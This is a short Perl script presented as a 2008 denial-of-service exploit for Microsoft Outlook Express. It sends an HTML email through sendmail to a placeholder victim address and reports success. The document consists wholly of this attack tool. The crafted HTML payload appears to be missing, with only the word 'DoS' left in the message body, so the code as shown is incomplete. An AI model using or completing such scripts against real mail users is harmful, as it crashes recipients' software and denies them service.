#!/usr/bin/perl # DoS exploit for Microsoft Outlook Express # (C) 2008 MustLive. http://websecurity.com.ua my $from_email = "dos\@exploit.com"; my $to_email = "victim\@site.com"; my $mailprog = "/usr/sbin/sendmail"; my $message = " DoS
"; open (MAIL, "|$mailprog -t"); print MAIL "From: $from_email\n"; print MAIL "To: $to_email\n"; print MAIL "Subject: DoS\n"; print MAIL "Content-type:text/html\n\n"; print MAIL "$message\n"; close MAIL; print "Content-type:text/html\n\n"; print "DoS email has been sent.\n";